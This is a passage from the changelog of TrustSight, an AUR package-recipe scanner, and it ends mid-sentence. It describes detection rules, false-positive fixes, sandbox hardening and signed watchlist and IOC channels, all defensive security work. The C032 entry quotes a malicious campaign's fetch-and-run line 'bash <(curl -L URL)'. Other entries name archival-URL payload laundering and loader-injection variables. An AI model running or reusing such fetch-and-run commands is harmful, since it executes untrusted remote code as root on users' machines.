Changelog¶
Unreleased¶
Added¶
- A Standards page.
docs/standards.mdis the canonical, top-level index of the project's normative standards, covering detection, false-positive vocabulary, shared machinery and the typed core, output and determinism, evidence and verdicts, calibration, configuration and compatibility, engineering, operational resilience, release and process. It records the rules the codebase already enforces organically: never tune a detection for a package; ship the true-positive twin; start new rules report-only and under the fire-rate gate; keep rule ids, layers and composition stages permanent; route through the typed core and shared resolvers; sort every emitted order; treat new shipped defaults as code fallbacks because config files are write-once; keep the cache an optimization and JSON-only; let optional aids and notifications fail without breaking analysis; refuse rather than truncate state; hash maintainer identities and keep package names away from the AUR; release from a clean deterministic tree; and treat tests, docs, calibration and changelog as part of the change. Each standard links to the page, test or gate that enforces it. - A watchlist release channel and ingestion. The watchlist now ships as a signed
watchlist-*release and is ingested like a baseline or IOC.trustsight watchlist updatedownloadswatchlist-official.json(plus its detached signature) from the newestwatchlist-*release (or[baselines.watchlist] tag), verifies it against the pinned distribution key, and imports it into awatchlist_entriestable. The document carries public package names and salted maintainer hashes, never plaintext: the salt travels with the release, an import adopts it when the database has none, and a differing local salt keeps the packages while skipping the unreachable hashes, exactly as a baseline seed does. Imports are unioned with the operator's hand-curated~/.config/trustsight/watchlist.jsonat load (a local entry wins on collision), so a release import never clobbers local judgement. The pre-command pending notice now covers the watchlist beside the baseline and IOC, offering the same one-key verified pull, andfull-aur --watch --auto-pull-watchlistsrefreshes it after each cycle.watchlist import <file>ingests a document by hand andwatchlist listshows both sets with their origin. The release is built withbuild_release_baselines.py --watchlist-onlyand published bywatchlist.yml. - H104 Placeholder Package. A recipe that claims a name and ships nothing - two of three of
pkgver=0.0.0, apackage/package_*body with no install verb or$pkgdirwrite, and a dummy or empty checksum - is reported as H104 Placeholder Package (INFO, weight 0), on the fresh and incremental analysis paths and intrustsight lint. It is the per-package signal a maintainer burst (G011) will aggregate, and weight 0 until the benign corpus calibrates it. - D005 Official-Repo Name Shadow. A
pkgnameoutput that is exactly an established package, or aconflictsentry naming an established package unrelated to this one, is reported as D005 (MEDIUM, weight 0). H064/D004 own the addedprovides/replaces/conflicts; this rule owns the name the recipe carries now, including a conflict whose target became an official package after it was declared. Thefoo-git/foovariant pattern is suppressed, and cold start fires nothing. - P009 Prebuilt Deliverable Declared, and its M001 contradiction. A recipe that declares it ships an upstream-built deliverable - a
-bin/-appimage/-winename, or asource=entry that is a prebuilt artifact - is reported as P009 (INFO, weight 0,--verbose).M001now pairs it with H066: a package that declares an upstream-built binary while committing an ELF to the repository outsidesource=()is "the recipe says one thing and structurally does another". The fresh path now passes its declared claims to the M-series explicitly, so an undeclaredH066cannot escalate on its own.
Changed¶
- H058 no longer reads an auto-tracking refresh as a maintainer surge. A maintainer who re-pulled every
-git/-latestrecipe in one cycle was reported as a baseline deviation, and the 2026-10-21 19:01 UTC cycle expanded 49 VCS rebuilds across ~30 unrelated upstreams into 49 alerts. A batch whose every active package is auto-tracking - a-git/-hg/.../-latest/-nightlyname, or a.gitsource - is a periodic upstream refresh, not the xz-style burst onto names the account already maintains, so H058 now stands down; a batch containing any declared-version package still fires, and each rebuilt package is still analysed for content. The split-output case remains covered by the single source-org stand-down. - The pending baseline/IOC notice offers to pull. On a terminal, a newer baseline or IOC release now asks
pull now? [y/N]and, on yes, runs the same verified download and import asseed fetch/ioc update. The prompt is skipped for non-terminals and for those pull commands themselves; the notice stays on stderr. Declining or pressing Enter leaves the command unchanged. - Install instructions import the release signing key. The README first-steps snippet and the installation guide now run
gpg --recv-keys F759D6D49B0A395AB922414A5CC3B4C50D37E793beforemakepkg -si, so a fresh keyring no longer fails the tarball signature check with an unknown-key error (issue #39). -
G009 accepts package entries and is now "Watchlisted Subject". The operator watchlist can name a package directly under
packagesin~/.config/trustsight/watchlist.json, beside the existing salted-hash maintainer entries. A package name is already public in every record and report, so it is stored as written andadd_package()needs no seeded database; the maintainer path and its privacy properties are unchanged. G009 keeps its id, uid and INFO/weight 0 status, and emitsparams.subjectaspackageormaintainer. -
Dependency claims are validated against the post-state recipe. A hunk that ends on a dependency array opener and a later hunk inside another array were concatenated, so
source=(...)entries could read as addedoptdependsand fire D001/H030; the real change added onlypolkittodepends. When the full post PKGBUILD is available,extract_dependency_changesandchange_deltanow intersect their claims with the names that field actually holds after the change, includingfield_<arch>arrays and relational entries. A post array containing an unresolved$entry skips the check, and a parse failure returns the diff-derived claims, so validation adds no refusal path. Diff-only callers keep the documented hunk-boundary ambiguity; the rawchangearray deltas remain the diff projection. - A sandbox that loses a core protection refuses the package. The tokenizer and git workers previously reported a failed
setrlimitorPR_SET_NO_NEW_PRIVSasdegradedand kept serving, so a package could be analysed with weaker confinement than the verdict claimed.RLIMIT_AS,RLIMIT_CPUandPR_SET_NO_NEW_PRIVSare now a startup refusal: the worker exits before reading a request, the client raisesTokenizerUnavailable/GitSandboxUnavailable, and the package is reported as NOT vetted.RLIMIT_FSIZE,RLIMIT_NOFILE, the libgit2 hardening settings and the best-effort network drop staydegraded, because their loss does not change what was analysed. - H023 no longer invents an install hook from a bare
install=, and H049 no longer reports source removal as a host change. The H023 arms now require a non-empty value, soinstall=,install=""andinstall=''declare no hook; a namedinstall=demo.installstill fires. H049 skips a source set that changed to empty (H002 owns removal) and groupssource_hostsandsource_orgsinto one finding that names both triggers, carries both inparams.keys/params.triggers, and scores once. The live cargo-fframes update now reports only the realH002finding (score 25) instead ofH002plus twoH049rows and a phantomH023. - Four live-feed false positives (H076, H059, H023, H049). H076 read the
-dirinside--dest-diras an in-place-iflag, so diakonos'sinstall.rb --conf-dir /etc(which stages under$pkgdir) was reported as a host/etcwrite; the interpreter arm now requires a real single-dash in-place flag. H059 required a literal token, soqsc-clisourced fromsoftwarecenter.qualcomm.comwas called divergent even thoughqscis the initials of Qualcomm Software Center; a leading name token that acronyms consecutive repo-path words now counts as a match. H023 treated a bareinstall=as a declared hook; it now requires a non-empty value. H049 reported source removal as a host change and countedsource_hostsandsource_orgstwice; removal is left to H002, and the two triggers now produce one finding that names both. The yandex-messenger signed-URL alert is covered by the volatile-token normalization and theraw_hostingclassification ofdownloader.disk.yandex.rualready on master; it now scores 15, below the alert threshold. - Every stderr log record is rendered inert. The CLI's
_StderrHandlernow sanitises the fully interpolated message and the formatted exception/stack text before writing to stderr. The message is flattened to one line, so a hostile value cannot forge a second log line; tracebacks keep their newline/tab layout but lose ANSI/OSC/C1/bidi controls and carriage returns. The handler formats a copy of the record, so file and document handlers still see the analysis's original bytes, and a formatting failure writes a fixed line instead of Python's default raw record dump. The inert-output gate now exercises the handler with a hostile record. - Cross-package correlation is cycle-scoped, and its campaign identity is bounded. G001 (shared gained host), G002 (shared added literal) and G003 (coordinated adoption) used to read cumulative views: every
source_hostsand maintainer transition ever recorded and the whole literal table. A host, literal or adoption from months ago could therefore meet a new one on any later innocuous change, re-fire the join and re-arm a lapsed campaign. The G feeds now live in transient tables (observed_gained_hosts,observed_adoptions, and the existing literal/upstream tables) thatclear_correlation_feeds()empties at cycle start; the views are redefined over them on init, and the existingliteral_hashcolumn is added additively. G001 uses a local cycle timestamp, never package-controlled AURLastModified. Campaign identity now includes a G004 dependency's host and a G002 literal digest instead of collapsing every shared-literal cluster intoG002:; only G001-G005/G008 prime campaign state (G009 is the operator's note and no longer consumes a slot); and a campaign id is bounded and control-stripped. G002 joins on a SHA-256 of the full literal, caps a package at 256 literals per cycle (logged), and G001/G002/G004 stand down for split outputs of one pkgbase. G003's naming-relatedness pass is capped at 64 members, G003/G005/G008 group maintainers through onestrip().lower()key, and G008 treats a failed first-seen read as unknown rather than aborting the cycle. - Tokenizer responses are capped while they are serialised.
expand_workerusedprotocol.encode, which built and framed the whole reply before the parent's response-read cap could refuse it. The cap now runs in the child through the sharedprotocol.encode_response, which stops atMAX_RESPONSE_BYTESduringiterencodeand frames only a body that fits; the git worker uses the same helper, so the two sandboxes cannot drift. An over-cap reply remains aTokenizerUnavailablerefusal (the package is NOT vetted), andprotocol.encodeis capped too, removing the uncapped path. - The git sandbox enforces its bounds at the point of work. A repository tree is capped while it is walked (
GIT_TREE_MAX_ENTRIES), so a repository of millions of tiny blobs can no longer build the full projection before the worker truncates it. A transfer that fails or is aborted still reports the bytes it wrote, and the fetcher charges them toMAX_TOTAL_TRANSFER_BYTES, so repeated failures cannot walk around the run budget; an over-cap transfer is an incomplete fetch, not an unexpected exception. libgit2'shomedir, pack ceiling and strict object/hash verification now reportdegradedwhen they cannot be applied, and a PKGBUILD or.SRCINFOthe worker refuses to read (oversize or unavailable repository) is astage_degradedgap rather than an empty file. The parent caps a request frame before writing it, response serialisation replaces surrogates instead of killing the worker, non-UTF-8 paths are sanitised, and a worker that reachesGIT_WORKER_RETIRE_CPU_SECONDSis retired between requests so the failure is attributed to the package that spent the budget. A16 now states this boundary, and a new gate fails the build when the model cites anA<n>invariant it does not define. - The
full-aurprogress log is inert, and repeated correlation/contact work is bounded. A cluster finding'smatchcarries the gained host, maintainer or dependency the join used, and the progress log printed it raw to stderr; the_loggersink now passes every message throughsafe_text.clean, and the inert-output gate exercises that path. G009 hashes the sweep's maintainer set with one salt read (local_hash_many) instead of a database connection per package, the operator watchlist is read under a 1 MiB cap (an oversized or malformed file is absent, as before), contact-ledger rows are written in one transaction, host joins are canonicalised, a host the classifier cannot read no longer abandons the cycle, and malformed correlation thresholds fall back to their shipped defaults instead of aborting the sweep. - Expansion and the tokenizer sandbox share one set of bounds. The A6 size limits now live in the shared
expansion.py, so the parent's whole-PKGBUILD resolver refuses an oversized substitution (${x//a/<large>}) before allocation and answers a complex glob with a bounded table matcher instead of compiling it to a backtracking regex; a value past the value bound is dropped from the table rather than truncated, an array contributes at most 4,096 entries, and a whole-text resolve is capped at 8 MiB. The sandbox request write now shares the response deadline and isselect-bounded, so a child that stops reading stdin cannot hang the parent. Resource limits the tokenizer worker could not apply are reported asdegradedand logged, matching the git worker, and a malformed worker response is aTokenizerUnavailablerefusal rather than a stray exception. - Inline and config-supplied regexes are audited, and the IOC ReDoS check no longer has a structural gap. A literal passed straight to
re.search/re.match/re.sub/... was compiled implicitly by therecache and was invisible to both the audit and the coverage gate; the audit now collects those calls, measuringre.match/re.fullmatchwith the anchored method they use and every other call as an unanchored search. It also collects the patterns assembled frompatterns.toml/hosts.tomlinside functions, which no previous strategy saw, and audits the shipped defaults rather than a stale localpatterns.toml. That surfaced and fixed two quadratic shipped fragments: the parse-time fetch prefix split a whitespace run between two\s*spans, and the obfuscation| ... bashindicator let.*rescan every pipe. Three inlinesubpatterns that were quadratic at the 8 KiB line ceiling - two trailing-punctuation sweeps indiffer._clean_urland the<>strip in the maintainer sanitiser - are now linear string operations. Separately,compile_ioc_patternaccepted(\w+\s?)+, whose multi-atom body the narrow nested-atom detector could not see; the static IOC path now also refuses any group with an inner quantifier repeated by an outer one. - The document cache is bounded on both sides.
doc_cache._loadusedpath.read_text()with no size and thenjson.loads, and_storeserialised the whole document without a ceiling. A cache entry is derived from attacker text, so the read now goes throughread_file_cappedunderMAX_DOC_CACHE_BYTES(16 MiB): an oversized, truncated, non-UTF-8 or deeply nested entry is a cache miss that re-parses, and_storeencodes incrementally and writes nothing over the cap. The bounded-read gate coversdoc_cache.py, and the constant is registered with the other A14 source bounds. - A first submission is no longer an orphan adoption.
_correlation_recordsrecorded"" -> maintainerfor every package absent from the previous snapshot, so a bootstrap and a newly added package looked like anH086adoption and could form a falseG003campaign. First observations now write no transition. Existing databases are repaired once on upgrade: rows the old path created for a package whose firstcycle_eventsrow isaddedunder that same maintainer are removed, while real orphan adoptions andH044handovers are kept.
0.22.0 - 2026-10-19¶
Added¶
- G009 names a watchlisted maintainer. A package whose maintainer is on the operator's hand-curated watchlist (
~/.config/trustsight/watchlist.json, keyed by salted maintainer hash;[thresholds] g009) is reported as G009 Watchlisted Maintainer (INFO, weight 0), report-only. It is the sanctioned home for profile-page facts the RPC metadata never carries - registration date, "Inactive since", suspension state - so a human's judgement, "Inactive-since ~ Last Updated and Last Packager = Package Maintainer", is carried instead of guessed. The list is absent by default, so G009 is silent on a clean install. - G003 coordinated adoption escalates for a first-seen account sweeping dormant packages. The MEDIUM signal rises to HIGH when the adopting account has no prior maintainer history and adopts at least two dormant packages; an established maintainer, or a sweep of active packages, stays MEDIUM. Tuned by
[thresholds] g003(novel_days,min_dormant,dormant_days). - A dedicated IOC release channel. IOC pairs move off the bulk
baseline-*family onto their ownioc-<date>releases so a time-sensitive indicator set can be republished without a baseline cut.trustsight ioc updateresolves the newestioc-*release (or a feed's pinnedtag, or[baselines.ioc] tag). The pairs no longer ship onbaseline-*releases: a baseline family is the seed, the corpus and the inventory only,build_release_baselines.pywrites IOC pairs only under--ioc-only, and an IOC fetch that cannot resolve anioc-*release is refused rather than reaching for a baseline copy. A seed or corpus fetch still matches onlybaseline-*, so it can never be pointed at anioc-*release. A newioc.ymlworkflow publishes the pairs withbuild_release_baselines.py --ioc-only. See Publishing Baselines. - A configurable baseline release channel. A
[release]section (channel,key) follows a baseline channel other than the shippedemiliano-go/trustsight, andseed fetch/corpus fetchtake a--channel owner/repooverride for one run. A non-official channel is verified against its own pinned ed25519 key (64 hex or a key file) and warns on every import that you are trusting that publisher; a non-official channel with nokeyis refused rather than verified against the official key. - A once-a-command pending notice for baselines and IOCs. Like the version notice,
trustsightwarns on stderr when a followed channel offers abaseline-*orioc-*release the operator has not pulled yet, and stops once the pull is recorded. It is silent offline, never prompts, and is disabled withTRUSTSIGHT_NO_PENDING_CHECK(or the masterTRUSTSIGHT_NO_UPDATE_CHECK). - The watcher can pull data on its own.
full-aur --watch --auto-pull-baselines --auto-pull-iocschecks the followed channels after each cycle and pulls and imports a newer baseline seed and/or IOC feed, verified the same way the manual commands verify them. Off by default, and refused without--watch. - Federation feeds for
ioc update. A feed whoseurlis not a release channel is now treated as a publisher's signed directory (manifest.json+iocs.jsonl), verified against the feed's own pinnedkey, instead of being refused as unimplemented. - Permanent rule identity, and the registry as the source of rule metadata.
registry_uids.jsonassigns an opaque uid per catalog id (append-only, never reused) andregistry.resolvejoins any current or former id through the rename and retirement tables; findings carryrule_uidbesiderule_idon the report body, the API body and the ntfy payload, so a stored artifact stays joinable to its rule however the display id is later renamed.registry_meta.json, keyed by each section's permanent uid, holds the display name and the Severity/Category bullets, and the reference pages and the catalog are rendered from the per-section sources underdocs_src/bybuild_rules_index.py, so the docs cannot describe a rule the analyser no longer has and a display-id rename is one registry edit;tests/test_rule_metadata.pycloses the loop from the emitter side (it surfaced two drifts, C014 documented only MEDIUM and H017 only HIGH) andtests/test_generated_docs.pyfails a rule added without regenerating the pages.trustsight ruleslists every rule's uid, category and status in the shared series-major order, with--category SLUGand--json(which carries the aliases a rule was renamed from). - G008, T006 and T007. G008 First-Seen Account Adoption Burst (HIGH) is G003's DB-backed counterpart: an account with no prior maintainer history that adopts many dormant packages at once. T006 Metadata-Git Divergence (MEDIUM) flags the AUR
LastModifiedrunning ahead of the git tip commit date; T007 Packager Not In History (INFO, weight 0) records a packager who appears in no retained commit message. - The Upstream Release Integrity rules (U007-U010) and the W011/W012 boundaries. The U-series reads what a recipe declares about upstream, never upstream itself. U007 (CI exfil shape, MEDIUM) and U008 (git-history credential sweep, MEDIUM) match the signed
upstream_repoIOC baseline against a recipe's declaredurl=forge, so the workflow content is never fetched; U009 (LOW, weight 0) records a new committed.github/workflows/*path; U010 (MEDIUM) flags a gainedsource=()entry the public cannot inspect (SSH,file://, a private-network literal or an embedded credential), amplified whenvalidpgpkeysis absent and standing down where C020 or C023 already own the shape. W011 (Upstream Content Not Read) marks that a forge upstream was declared but not read, and W012 (Federation Not Consulted) marks a coldupstream_repochannel, both INFO and weight 0. - The Contact Ledger and G010. The ledger is an append-only, cycle-versioned record of the hosts, maintainer accounts, file kinds and upstream dependencies each package is first seen with, reported as a weight-0 "First contact" panel on every surface (review, inspect, API, JSON); a cold replay (
contacts.enabled=false) renders a standingcontact_ledger_unavailablenote instead of an empty panel. G010 (Shared First-Seen Host, INFO, weight 0) is G001 with the novelty join, so a host the corpus has not met before counts and five packages sharing one first-seen host read as distribution infrastructure, not the AUR being the AUR; neither scores nor gates. - M006 and the Spec-B immune-import residue. A campaign class that re-arms faster than
[alerts] campaign_min_reactivation_observationsallows is still refreshed, but the churn is reported as M006 on the correlation cycle's log rather than attached to any package's cofire health; the three campaign columns (activation_count,first/last_activated_at_obs) do not attach to a package, so a re-arming class can no longer prime a campaign. Expired overrides and the corroborated-suppression marker render in all four terminal renderers, with the parity and immune gates pinning both strings, and G007 is weight 0 and report-only. The rule reference also splits into the Rule System and Rule Nature tabs, one Nature page per category (origin and meaning), each cross-linked to its per-series pages.
Fixed¶
- A
releaseevent no longer publishes a:latestDocker image for a baseline/IOC tag. The container publish job skipped non-version release tags so a data release does not rebuild the image; the watcher compose file also setspull_policy: always, so an existing local:latestis re-pulled instead of silently reused. - Three false positives the live feed surfaced (H065, H081, R054). H065 read the
::that separates a makepkg array element's two halves (source_x86_64=("${pkgname}-x86_64"::"${url}") as a reconstructed hidden word, so the partial-quote arms now require an alphanumeric inside the quotes; H081 compared an arch-parameterised execution (./${pkgname}-${CARCH}) against a literally declared source ("${pkgname}-x86_64") as two different strings, so a variable now wildcards the declared-source set exactly as it already wildcards the committed set; R054 read asudo teesysctl line printed inside an advisory heredoc as a persistence write, so R054 joins R052 in the printed-heredoc stand-down. - Four more false positives the live feed surfaced (H017, H058, NOVELTY, SOURCE_BUCKET). H017 read the
evalinside a tool's--evalflag as the shell builtin, so the hook-execution token now cannot start with a word character or a hyphen. H058 treated a maintainer's own established batch cadence as a surge, so it stands down when the batch is no larger than one already shipped. A first-seen URL on an official project host (eddylab.orgfor hmmer) was reported as a new endpoint, so NOVELTY records it without scoring it, and the host now classifies asofficial, so SOURCE_BUCKET does not charge HMMER's own source URL. - The shipped default baseline tag advances to
baseline-2026-10-18. A freshly rebuilt seed (185,906 normalised source URLs, 215,519 dependency names, 36,912 hashed maintainers) is published as the[seed] baseline_tagfallback, so a client that cannot reach the releases API still fetches a current seed rather than the September one. - The release-channel paths no longer fail open on a bad key or config. A federation feed's
keywas read only as a key file, so a documented 64-hex key failed withENOENTon a file named like the digest; it now routes through the same parser a[release] keydoes, hex or path. A non-official--channelwith no pinned key is refused before any network I/O instead of after a download, so the message is "pin the key" rather than a misleading "no asset is reachable". Aconfig.tomlthat fails to parse now warns that any[release]channel or key is being ignored, instead of silently falling back to the official channel. The auto-pull baseline notice names the resolved tag rather thanlatest. - A false
ruleset_driftedfor the generated-pattern rules.drifted_shipped_rulescompared thepatternof R046/R047, whose patterns are regenerated from config before matching, so a config-synced install reported drift; it now skips them and registers their superseded spellings, soconfig sync-rules --updaterepairs the stored text andreviewnames un-repairable drift rather than "already up to date". - The IOC baseline builder preserves an
upstream_repoentry'sshape._normalise_entriesdropped theshapefield (exfilorhistory_sweep) for anupstream_reporow, so every baseline-built row defaulted to U007 in the analyser; the field is now carried through the signed artifact. - X002 reads command variables from the whole recipe. X002 resolved a command-name variable from the diff lines alone, so a variable defined outside every hunk (an unchanged
local _pip="$srcdir/venv/bin/pip"that a later hunk's command uses) read as unresolvable and X002 fired CRITICAL on an ordinary recipe; the whole recipe's assignments now seed the diff's, so a name the diff carries still wins but an unchanged definition is visible. - H059 lowercases repo-path tokens. The tokens were kept as spelled (
GTAIV,Colloid-icon-theme) while the package name is lowercased before the overlap test, so a package whose repo carried capitals never matched its own repo and H059 called it divergent; the token is lowered to match_package_stem. - Hunk-boundary leaks in C014, D001 and X014, and the recalculated distribution. C014 drops an array whose closer is outside its side's projection before diffing; D001 sets the field from a hunk header naming an array opener and never reads a
name::urlrename as a package name; X014 dropsfilterfrom the path-shaped flag arm (pnpm/yarn--filterselects packages, it does not name a program). Classifyingfiles.pythonhosted.organd the CEF host as official project hosts also removes SOURCE_BUCKET/C011 weight from 96 benign diffs, and the published distribution is recalculated: zero-rate 71.2 → 72.3%, benign p95 35 → 30, flag rate 7.2 → 7.1%, trigger rate 32.7 → 31.2%, separation margin 25 → 30. - The W011/W012 boundaries degrade instead of failing the run. Odd config shapes (
baselines: None, a non-mappingiocsection, a non-dict config), a non-iterablematchesinjection and an unreachable store now degrade to a cold federation channel or a miss instead of raising through the analysis. - The watcher container can sync its ruleset at startup. The compose file and the
docker runexample mounted the config directory read-only, so the startup sync failed open withruleset sync skipped: Permission deniedand the watcher kept the rules the volume was created with; the mount is writable now, and a read-only mount is documented as keeping the volume's rules and logging the skipped sync. - The builder's user site is kept out of
check(). A stalepip install --userpygit2 in~/.localshadowed the system python-pygit2 for the--system-site-packagesvenvcheck()creates, so the suite tested the builder's home install and a pre-1.20 pygit2 there aborted the build;PYTHONNOUSERSITE=1makes the check test the system packages the PKGBUILD declares.pkgrel2.
0.21.0 - 2026-10-18¶
Added¶
- X034 archival-laundering crossfire. A fetch through an archival host whose path embeds a second URL - the
web.archive.org→ real host hop both October 2026 typosquat waves used to hide their payload origin - is the indirection itself, so the rule is execution-scoped and stands down on a plaincurl/wgetfetch to a shell. See In the Wild. - C032 top-level scriptlet execution.
pacmansources an.installon every operation, so a bare top-level line runs as root on each install, yetH017/C016scope to hook bodies and the scope map omits top-level lines. The rule parses the committed scriptlet, stands down on an unparseable partial read, and matches command-position execution outside every function. The yay-campaign.installcarriedbash <(curl -L URL)at the top level, which nothing read. - H090 reads the process-substitution carrier. Its committed-carrier pattern was pipe-keyed, so a
bash <(curl ...)process substitution in a manifest scan scored zero; two arms now reuse H075's group-free process-substitution patterns. - The U-series is documented in the README pipeline, the rule-nature taxonomy and the evidence-category table, where the dependency-manifest rules sit at L3.
- In-the-wild incident reports have their own section. The record of incidents whose diffs the watcher raised moves out of Explanation into a top-level Reports section, indexed by In the Wild, with one dated report per campaign so the index stays a map and each campaign keeps its own page.
Changed¶
- A FATAL finding contributes no weight.
severity_weights.FATAL = 0: the label carries the severity, and the arithmetic score no longer inflates on a parser refusal or an IOC-class finding. The refusal tier still notifies regardless of score, reported outside the arithmetic like an IOC hit. - Rebaselined. The printed-text and re-exec stand-downs drop four benign figures: zero-rate 70.7 → 71.2, flag rate 7.8 → 7.2, 20-point percentile 92.2 → 92.8, trigger rate 33.1 → 32.7. Benign p95 (35), malicious p5 (60) and the separation are unchanged; 18/18 gates pass.
- The corpus builder commits once per package, not once per writer. Persisting a single package ran eight to twelve
commit()calls, each a WAL append and each one a candidate for the default autocheckpoint to copy pages back, and on an encrypted volume that churn - not the analysis - dominated a full-AUR drain. Awrite_batchscope now defers the inner commits and writes the package as one transaction (rolled back as one on error); the writer connection defers its autocheckpoint to ~40 MB and caps the file withjournal_size_limit; the end-of-cycle checkpoint isPASSIVErather than an exclusiveTRUNCATE; and the always-observed signing-key and maintainer-domain ledgers prune only when an insert actually added a row. Measured on a package-shaped write set: 8x fewer commits. - The corpus fetcher drains through the GitHub AUR mirror. The AUR's cgit snapshot endpoint rate-limits and, in practice, was returning empty bodies under a full bootstrap, holding the drain to about one package per second. A snapshot is now tried from the read-only GitHub AUR mirror (
codeload.github.com, one branch per package, the same tip tree) first, with the cgit endpoint kept as the fallback so a package the mirror no longer carries still resolves. Rate limiting is per host, so the mirror is not throttled to the AUR's ~5 requests/second cap, and the fetch-worker default rises from 5 to 16.
Fixed¶
- Printed advisory text is not executed. Ten 2026-10-18 live-feed alerts scored printed text as commands.
R001/R002/R003/R045stand down on a pure printer line (echo/printf);C016masks printed heredocs, unwraps a literalsh -c '<lit>'wrapper and dedupes one effective body per file;H017strips a literal re-exec opener and scans the inner body;H035blanks quoted literals on a printer line;X002skips printed heredoc bodies;C022downgrades only when a strictly weaker array remains;X033treats abun/denosubcommand as a non-file;cli/lintapplies the sameC016unwrap. - A repeated-character checksum is a placeholder, not a pin (H083). A digest of a single repeated character matches no real download, so treating it as a pin made H083 silent and reopened the replay corpus. A one-distinct-character digest is now handled like
SKIP(unpinned); a real digest still pins and stays silent. Replay: 6299/6299 closed, 0 open. - The watcher's false positives. Dead-hook, heredoc and message-continuation stand-downs, and the alert document now carries
tool_version. - Legacy
pypi.python.orgis a canonical Python host, so a source there is not a divergence. - A signed corpus baseline imports into a fresh database. The observation section carried each
source_urlsrow's builder-localfirst_seen_package_id, a foreign key into apackagesrow the artifact does not ship, so importing the corpus on a fresh install failed withFOREIGN KEY constraint failed. The id is not portable across databases: the exporter now writes the sentinel, and the importer coerces an older artifact's id to it rather than trusting it.
0.20.2 - 2026-10-15¶
Added¶
- The watcher posts every alert to the TrustSight feed, independently of ntfy. A second sink (
TRUSTSIGHT_FEED_URL, or[notify] feed) carries the same document the human channel gets, signed with Ed25519 overwebhook-id.webhook-timestamp.raw_body(TRUSTSIGHT_FEED_KEY, base64 PKCS#8;TRUSTSIGHT_FEED_KEY_IDnames it). The feed holds only the public key and ingests the document directly onPOST /api/ingest, so it no longer polls ntfy. ntfy and the feed fail independently; with no key the feed sink is skipped. The contract artifact carries the ingest request shape.
Fixed¶
- The watch banner names the effective webhook. It read only
[notify] webhook, so a watcher started with--notifyprinted "alert webhook: none" while it was delivering every alert. - The alive beat is sent on every cycle that raised no alert, not once a day, so silence on the channel unambiguously means the watcher is dead rather than quiet.
0.20.1 - 2026-10-15¶
Added¶
- The watcher syncs its ruleset at startup.
full-aur --watchrunsconfig sync-rules --updateonce at startup: it adds missing rules, repairs a driftedmatch_target/severity/category/scopeand a superseded shipped pattern, never touches a pattern the user edited, logs what it changed, and fails open.TRUSTSIGHT_NO_SYNC_RULESopts out. An unattended watcher no longer analyses with a stalerules.toml; the watcher container had drifted onR152.scope, so every analysis carried aCOVERAGEgap.
Fixed¶
sync-ruleskeeps a custom pattern even when another field drifted. It replaced the whole[[rules]]block to fix amatch_targetdrift, which discarded a pattern the user had edited; a rule whose pattern is no longer the shipped one is now skipped entirely.- X002 no longer fires on a non-ASCII message. The confusable-character shape required only a confusable character, so a CJK install-hook message (
首次使用需扫码登录) fired CRITICAL; it now also requires an ASCII name character, so only a word that impersonates a command name matches. - C017 no longer fires on a redirect inside a hook message. A redirect spelled inside a quoted string (
echo "append 'export X >> ~/.bashrc'") is text, not a write; the raw-target scan now skips quoted spans. - C004 no longer fires on an arch-scoped checksum split. A generic
sha256sumsreplaced bysha256sums_<arch>arrays is a layout refactor; when the per-arch hashes differ the exemption did not apply, so the rule now recognises the split rather than only a hash moved verbatim.
0.20.0 - 2026-10-15¶
Added¶
- Campaign alert mode, and the three rules that arm it. The G-series gains G005 Impersonation Campaign (one maintainer publishing many name-clones of popular packages), G006 Neighborhood Under Campaign Alert (weight 0) and G007 Campaign Corroboration (weight 0). A corroborated cluster primes a bounded campaign state (
db/_campaigns.py) that expires on an observation clock, not wall-clock time, so expiry is structural and reproducible rather than a cleanup job. Campaign scope is typed (package_names,hosts,targets,dependencies), so a package name is never compared against a host. See Campaign Alert Mode. - Licensed severity escalation. A rule may declare
escalates_when; a fired licensor raises its severity one notch - never to FATAL, never chained - and the finding records which rules licensed it. A rule that expects a licensor and gets none is reported as a tool-health note, weight 0. See Escalation Licensing. - An isolated git worker. Every libgit2 operation moves into a bounded child process (
sandbox/git_worker.py,sandbox/git_client.py), launched-Iwith a minimal environment and fixedRLIMIT_*plusPR_SET_NO_NEW_PRIVS. The parent never calls libgit2, so a memory-safety defect in libgit2 (or its bundled pack/delta code) exhausts the bounded child instead of the analysis. A limit that fails to apply is reported to the parent (degraded) rather than swallowed. This is a resource-bounded subprocess boundary, not an OS sandbox (no separate UID, network namespace or seccomp). - Dependency manifests committed beside a recipe. The U-series reads committed
Cargo.toml,package.json,go.mod,pyproject.tomland companions for new dependency sources and registry redirects, without fetching or extracting the referenced archives. Byte caps, safe YAML loading and constrained XML handling bound the parse. - The watcher's alert document carries located findings. Each
over_thresholdentry now names the rule, file, line, severity and rendered reason of every finding that fired, weight-bearing or not, so a notification says where a rule matched instead of only that it did. - A cross-surface contract artifact.
python -m trustsight.contract --emitwritescontract/contract.json- the rule ids, pseudo-rule ids, severity and coverage-gap vocabularies, a representative alert payload and report body - so the feed and the harness can test against a real core output without importing core.--checkand a test keep it regenerating byte-for-byte. - Expected co-fire pairs reach the tool-health channel, so a rule that usually travels with a partner and fired alone is visible as an instrument observation.
- A named, logging watcher container.
docker-compose.watcher.ymlruns the watcher astrustsight-watchwithrestart: unless-stoppedand rotated logs, and the image is unbuffered (PYTHONUNBUFFERED=1,PYTHONFAULTHANDLER=1) sodocker logsshows output as it is written. A watch opens with a banner naming the build, the database path, the interval and whether an alert webhook is configured;TRUSTSIGHT_LOG_LEVELandTRUSTSIGHT_LOG_TIMESTAMPStune the log. - A once-a-command newer-release notice. Before every command runs, TrustSight checks the latest published release tag against the running version and warns - with an abort option that prints the update command - so an install a version behind does not silently miss a detection. The lookup is a read-only release tag from the declared release host, cached for a few hours (so the notice shows every command without a request every command), skipped under
TRUSTSIGHT_OFFLINEorTRUSTSIGHT_NO_UPDATE_CHECK, and never runs for--help/--version. In a pipeline it warns on stderr without prompting, so JSON output stays clean and nothing blocks on a keypress.
Security¶
- libgit2 stays behind the sandbox, and the dependency floor is raised:
pygit2>=1.20.0pins a libgit2 with the delta result-size allocation fix (CVE-2026-53585). The AURPKGBUILDcarries the same floor, and a test asserts the project and package metadata agree on every floor. - Every child process gets a minimal environment, so no inherited loader-injection variable (
PYTHONPATH,LD_PRELOAD, ...) reaches a worker.
Changed¶
- The internal module split.
pipeline,structural,delivery,crossfire,config,db,api,differ,rules,cli.inspectandmanifestsare split into packages, andsecurity_gates/calibration_gatesinto gate packages. Behaviour-preserving: no rule id, severity, weight or finding text changes. - The watcher's alerting bar is the measured benign p95 (35), not 30. The comparison is
